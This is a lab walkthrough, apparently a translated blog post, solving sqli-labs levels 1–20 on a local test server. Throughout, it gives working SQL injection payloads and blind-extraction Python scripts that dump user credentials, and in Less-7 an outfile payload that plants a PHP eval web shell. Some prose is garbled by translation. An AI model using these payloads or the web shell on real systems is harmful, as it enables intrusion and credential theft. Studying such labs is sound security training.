Sqli-labs-master Level 1-20 | Basics - Detailed Write up

Sqli-labs

Page-1(Basic Challenges)

Less-1

Order by judgment display bit

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' order by 4 --+

image-20230719182945285

It can be seen that the display bit is 3

Then construct the payload to explode the database and the table.

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'; --+

#爆表

image-20230719183035624

1681749559006

Explosive field

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'; --+

image-20230719183532835

Finish

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

1681749568370

Less-2

First determine that it is a numeric type, and use order by to determine the display position. It seems that # has been filtered, so use –+ instead.

1681749575647

Exploding databases, exploding tables, exploding fields, end

1681749582306

Less-3

First determine whether it is a character type or a numeric type. I tried to use discovery and order by to check the display position. I found that no matter how I entered it, it didn't work. Then I looked at the error message carefully and found that it was a problem with the closing method. I used closed here, and then I can judge the display position ').

1681749650999

Exploding databases, exploding tables, exploding fields, end

1681749659277

Less-4

According to the error report, I know that it is a problem with the closing method. It can be seen that it is ”)closed and then query the display position.

1681749663911

Exploding tables, exploding databases, exploding fields, end

1681749667269

Less-5

Judgment is the closed form of single quotation marks, and the displayed bit is 3

1681749671105

Test, get fooled, it's all You are in... It's a blind bet

Try error injection

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

1681749675415

Get the library name, and then explode the fields one by one to get the username and password.

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+

image-20230719185510765

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+

image-20230719185611114

Finally, part of the data was obtained, but it was not fully displayed. It seemed that the echo had a length limit.

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),3) --+

image-20230719190252643

Use python script to get data

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import typing

def ascii_str():  # 生成库名表名字符所在的字符列表字典
    str_list = []
    for i in range(33, 127):  # 所有可显示字符
        str_list.append(chr(i))
    # print('可显示字符:%s'%str_list)
    return str_list  # 返回字符列表


def db_length(url, str):
    print("[-]开始测试数据库名长度.......")
    num = 1
    while True:
        db_payload = url + "' and (length(database())=%d)--+" % num
        r = requests.get(db_payload)
        if str in r.text:
            db_length = num
            print("[+]数据库长度:%d\n" % db_length)
            db_name(db_length)  # 进行下一步,测试库名
            break
        else:
            num += 1


def db_name(db_length):
    print("[-]开始测试数据库名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for j in str_list:
            db_payload = url + "' and (ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
            r = requests.get(db_payload)
            if str in r.text:
                db_name += j
                break
    print("[+]数据库名:%s\n" % db_name)
    tb_piece(db_name)  # 进行下一步,测试security数据库有几张表
    return db_name


def tb_piece(db_name):
    print("开始测试%s数据库有几张表........" % db_name)
    for i in range(100):  # 猜解库中有多少张表,合理范围即可
        tb_payload = url + "' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+" % (i, db_name)
        r = requests.get(tb_payload)
        if str in r.text:
            tb_piece = i
            break
    print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
    tb_name(db_name, tb_piece)  # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
    print("[-]开始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_length = 0
        tb_name = ''
        for j in range(1, 20):  # 表名长度,合理范围即可
            tb_payload = url + "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+" % (i, j)
            r = requests.get(tb_payload)
            if str in r.text:
                tb_length = j
                print("第%d张表名长度:%s" % (i + 1, tb_length))
                for k in range(1, tb_length + 1):  # 根据表名长度进行截取对比
                    for l in str_list:
                        tb_payload = url + "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+" % (i, k, ord(l))
                        r = requests.get(tb_payload)
                        if str in r.text:
                            tb_name += l
                print("[+]:%s" % tb_name)
                table_list.append(tb_name)
                break
    print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
    column_num(table_list, db_name)  # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
    print("[-]开始猜解每张表的字段数:.......")
    column_num_list = []
    for i in table_list:
        for j in range(30):  # 每张表的字段数量,合理范围即可
            column_payload = url + "' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+" % (j, i)
            r = requests.get(column_payload)
            if str in r.text:
                column_num = j
                column_num_list.append(column_num)  # 把所有表的字段,依次放入这个列表当中
                print("[+]%s表\t%s个字段" % (i, column_num))
                break
    print("\n[+]表对应的字段数:%s\n" % column_num_list)
    column_name(table_list, column_num_list, db_name)  # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
    global data_num
    data_num = 0
    print("[-]开始猜解每张表的字段名.......")
    column_length = []
    str_list = ascii_str()
    column_name_list = []
    for t in range(len(table_list)):  # t在这里代表每张表的列表索引位置
        print("\n[+]%s表的字段:" % table_list[t])
        for i in range(column_num_list[t]):  # i表示每张表的字段数量
            column_name = ''
            for j in range(1, 21):  # j表示每个字段的长度
                column_name_length = url + "' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+" % (j - 1, table_list[t], i)
                r = requests.get(column_name_length)
                if str in r.text:
                    column_length.append(j)
                    break
                for k in str_list:  # k表示我们猜解的字符字典
                    column_payload = url + "' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+" % (table_list[t], i, j, ord(k))
                    r = requests.get(column_payload)
                    if str in r.text:
                        column_name += k
            print('[+]:%s' % column_name)
            column_name_list.append(column_name)
    # print(column_name_list)#输出所有表中的字段名到一个列表中
    dump_data(table_list, column_name_list, db_name)  # 进行最后一步,输出指定字段的数据
def dump_data(table_list, column_name_list, db_name):
    global data_num
    data_num = 0
    from typing import List
    print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[3], column_name_list[12:16]))
    str_list = ascii_str()
    for i in column_name_list[12:16]:  # id,username,password字段
        for j in range(101):  # j表示有多少条数据,合理范围即可
            data_num_payload = url + "' and (select count(%s) from %s.%s)=%d--+" % (i, db_name, table_list[3], j)
            r = requests.get(data_num_payload)
            if str in r.text:
                data_num = j
                break
        print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[3], i, data_num))
        for k in range(data_num):
            data_len = 0
            dump_data = ''
            for l in range(1, 21):  # l表示每条数据的长度,合理范围即可
                data_len_payload = url + "' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+" % (i, db_name, table_list[3], k, l)
                r = requests.get(data_len_payload)
                if str not in r.text:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        for y in str_list:
                            data_payload = url + "' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+" % (i, db_name, table_list[3], k, x, ord(y))
                            r = requests.get(data_payload)
                            if str in r.text:
                                dump_data += y
                                break
                    break
            print('[+]%s' % dump_data)  # 输出每条数据


if __name__ == '__main__':
    url = "http://127.0.0.1/sqli-labs-master/Less-5/?id=1"  # 目标url
    str = "You are in"  # 布尔型盲注的true&false的判断因素
    db_length(url, str)  # 程序入口

Less-6

As usual, the closing method is judged by double quotes.

1681749730469

1681749734449

Get the library name, and then follow the previous method to get the answer

But you can solve the problem of how to get complete results without using scripts.

1681749748734

method one:

You can use the limit clause to view them one by one.

?id=1" and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+

1681749752594

Method Two:

Use the mid function to intercept section by section

http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+

1681749755918

Less-7

This level is different from the previous levels. We cannot judge the closing method by reporting an error.

Looked at the source code

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

You can see that the closing method here is '))that if you already know the closing method, you can use the script of the fifth level to perform Boolean blind injection.

After running, just change the closing method of each payload, for example:

image-20230720175144418

Method Two:

Tips that we can use outfile, that is, use files to solve this level

image-20230720175214239

load_file() reads a file

Prerequisites: 1. The user authority is high enough, try to have root authority. 2. secure_file_priv is not NULL

The payload can be constructed to create the file:

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php phpinfo() ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php' --+

Then go to the folder and you can see that the file has been written 1,phpand the content isphpinfo()

image-20230720180439075

image-20230720180445470

It is indeed possible to access

image-20230720180507853

Then you can expand your thinking and write shella file, payload:

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_REQUEST["1"]) ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\Leaf.php' --+

Then use Ant Sword to connect it

image-20230720182348009

Less-8

Closed in single quotes, Boolean blind injection without error echo (so less-5 should be error injection), just run it with a script.

Less-9

The interface for this level is the same no matter what input is used, so it can only be 时间盲注solved by directly entering the script.

import requests
import time
 
s = requests.session()
url = 'http://127.0.0.1/sqli-labs-master/Less-9/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库:payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
        payload = f'1\'%0cand%0cif((ascii(substr(database(),{
      
      i},1))>{
      
      mid}),1,sleep(3)) --+'
        # 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3)) --+'
        # 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3)) --+'
        # 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
        # 查询数据:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        # r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

Less-10

This level is the same as the previous level. It is a time blind injection, but this time the single quotation marks are changed to double quotation marks. Just change it.

Less-11

image-20230723161239926

This time the injection is submitted in POST mode. Use burp to grab a package and try to order bydetermine the display bit first.

image-20230723161813178

You can see that when the number of characters is 3, an error will be reported, but when it is 2, there is no problem, so the display digits are two

image-20230723162015935

Next, the database is exploded, payload:

uname=1&passwd=1' union select database(),2 --+ #&submit=Submit

Highlights:

uname=1&passwd=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit

Bakuji stage name:

uname=1&passwd=1' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit

Explosive data:

uname=1&passwd=1' union select group_concat(username),group_concat(password) from users --+ #&submit=Submit

get usernameandpassword

image-20230723162452521

Less-12

First determine the closure method. We can determine the closure by looking at the error message.

passwordThe value entered here is 1'")) and 1=1, and then judge its error report

image-20230723163103951

The error reported here is for ) and1=1") limit 0,1the parsing error, so we can know that it is ")closed, and then judge the display bit, the display bit is still 2

uname=1&passwd=1") union select 1,2# #&submit=Submit

Explosive library

uname=1&passwd=1") union select database(),2 --+ #&submit=Submit

Explosive

uname=1&passwd=1") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit

Explosive field

uname=1&passwd=1") union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit

get data

uname=1&passwd=1") union select group_concat(username),group_concat(password) from users --+ #&submit=Submit

Less-13

Determine the closing method by reporting errors

image-20230723165104549

You can determine the closing method '), and then determine the display digit, whether the display digit is still 2

But this time there is no response

image-20230723170418986

Try error injection first:

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit

The error injection here has echo, so we can get the library name directly.

image-20230723171426348

Then explode

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))) --+&submit=Submit

Explosive field

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit

Get the data. Since the data obtained by error injection cannot be displayed that long, we mid函数intercept it section by section. Payload:

uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码

Less-14

First determine the closing method, it is "closed. The rest is the same as before, there is no echo, and error injection is reported directly.

Explosive library

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit

Explosive

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit

Explosive field

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit

get data

uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码

Less-15

This level is a blind note. No matter how you input, there will be no response.

image-20230723175409793

You can perform Boolean blind injection based on pictures, you can also perform time blind injection, and directly upload the script

import requests
import time

value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""

def get_length():  # 获取数据的长度
    for n in range(1, 100):
        payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
        data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
        start_time = time.time()
        html = requests.post(url, data=data)
        end_time = time.time()
        use_time = end_time - start_time  # 求出请求前后的时间差来判断是否延时了
        if use_time > 3:
            print("...... data's length is :" + str(n))
            return n


def get_data(length):  # 获取数据
    global result
    for n in range(1, length):
        for v in value:
            payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
                                                                                                 ord(v))
            data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
            start_time = time.time()
            requests.post(url, data=data)
            end_time = time.time()
            use_time = end_time - start_time
            # 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
            if use_time > 4:
                result += v
                print("......" + result)


url = "http://127.0.0.1/sqli-labs-master/Less-15/"

#data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"

length = get_length() + 1  # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)

However, there is something wrong with the output of the script. It is a bit difficult to distinguish each part. Come back and change it.

Less-16

The method is similar to the previous level. There is no echo and it is also a blind injection. Determine the closing method first.

This level is closed, just change ")the above .admin'admin")

import requests
import time

value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""

def get_length():  # 获取数据的长度
    for n in range(1, 100):
        payload = "admin\") and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
        data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
        start_time = time.time()
        html = requests.post(url, data=data)
        end_time = time.time()
        use_time = end_time - start_time  # 求出请求前后的时间差来判断是否延时了
        if use_time > 3:
            print("...... data's length is :" + str(n))
            return n


def get_data(length):  # 获取数据
    global result
    for n in range(1, length):
        for v in value:
            payload = "admin\") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
                                                                                                 ord(v))
            data = {
    
    "uname": payload, "passwd": "admin", "submit": "submit"}
            start_time = time.time()
            requests.post(url, data=data)
            end_time = time.time()
            use_time = end_time - start_time
            # 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
            if use_time > 4:
                result += v
                print("......" + result)


url = "http://127.0.0.1/sqli-labs-master/Less-16/"

data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
#data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"

length = get_length() + 1  # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)

Less-17

Tips for this level:password reset

I took a look at the source code and found that it is an error injection based on the update statement.

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
	{
    
    
	if(!empty($value))
		{
    
    
		// truncation (see comments)
		$value = substr($value,0,15);
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
    
    
			$value = stripslashes($value);
			}
		// Quote if not a number
		if (!ctype_digit($value))
			{
    
    
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
	else
		{
    
    
		$value = intval($value);
		}
	return $value;
	}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    
    
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
    
    
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
		if (mysql_error())
		{
    
    
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
    
    
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
  	}
	else  
	{
    
    
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
		echo "</font>";  
	}
}
?>

It can be seen from the code audit that this level cannot be unameinjected because there is check_inputa function that will check the input value of username.

So we can only passwordinject through. Through print_r(mysql_error())we can know that our error message will be echoed, so we perform error injection.

First determine the closing method, it is "closed, the rest is the same as before, there is no echo, error injection is reported directly, the closing method is ''

Because this level requires an existing username to proceed update, you can unameenter it randomly.

Explosive library

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

Explosive

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+

Explosive field

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+

get data

uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+ //得到用户名
uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(password) from users),30,31),0x7e),1) --+ //得到密码

But I don’t know why I keep getting errors when I get data here. That’s it. It should be a problem with my database version and permission settings.

image-20230725151927857

Less-18

After entering the interface, you can see that there is an echo ofaddress is :.....

image-20230725152007910

Take a look at the source code, here is the key

function check_input($value)
	{
    
    
	if(!empty($value))
		{
    
    
		// truncation (see comments)
		$value = substr($value,0,20);
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
    
    
			$value = stripslashes($value);
			}
		// Quote if not a number
		if (!ctype_digit($value))
			{
    
    
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
	else
		{
    
    
		$value = intval($value);
		}
	return $value;
	}
	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))
	{
    
    
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
    
    
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			}
		else
			{
    
    
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}
	}
?>

It can be seen that there will be filtering here usernameand here, but the variable is the value obtained directly from the above, and there is no filtering here.passworduagentUser-Agent

User-AgentTherefore, it can be injected through the HTTP header. From the code, we can see that the query results will not be output directly, but an error will be output, so error injection is required.

And UA头注入the premise for us is to log in successfully, otherwise it will prompt that the login failed, and the error result will not be echoed.

When constructing, you must first close it with single quotes. Also note that the insertion statement requires three parameters, so we also need three parameters when constructing. Because everything after the # sign is commented.

Database explosion, payload:

1',1,updatexml(1,concat(0x7e,(database()),0x7e),1))#

image-20230725161237466

Highlights:

1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

image-20230725161340503

Explosive field

1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#

get data

Because the length of the data being searched here is limited to 32 bits, another function is used to intercept and display it in segments.

1',1,updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',1,updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码

Less-19

It seems that it is stillHTTP头部注入

Log in first and see where the injection point is.

image-20230725161946180

It can be seen that it is Refererthe head

The parameters and closing methods here were directly blindly guessed by me. If you want to know more about it, you can check out the source code.

Explosive library

1',updatexml(1,concat(0x7e,(database()),0x7e),1))#

image-20230725162442793

Highlights:

1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

Explosive field

1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#

Get the data:

1',updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码

Less-20

First log in with admin and view the interface after login.

image-20230725162952570

I guess it's cookie injection. First grab a packet and then enter some random information in the cookie.

image-20230725164110965

It’s totally overflowing, okay, okay, okay, okay

This question should have both error reporting and joint injection

Joint injection first, exploding the database

uname=-1' union select 1,2,database()#

Explosive

uname=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

Explosive field

uname=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

get data

uname=-1' union select 1,group_concat(username),group_concat(password) from users#

Error injection, database explosion

uname=-1'and updatexml (1,concat(0x7e,(select database()),0x7e),1)#

image-20230725165916730

Explosive

uname=-1'and updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

Explosive field

uname=-1'and updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'),0x7e),1)#

get data

uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(username) from users),0x7e),1,30),1)# //得到用户名
uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(password) from users),0x7e),1,30),1)# //得到密码

It can be seen that Page1 is relatively basic SQL injection, and does not involve keyword filtering, etc. Let’s start page2 after a while and learn other things first.

Guess you like

Origin blog.csdn.net/Leaf_initial/article/details/131922121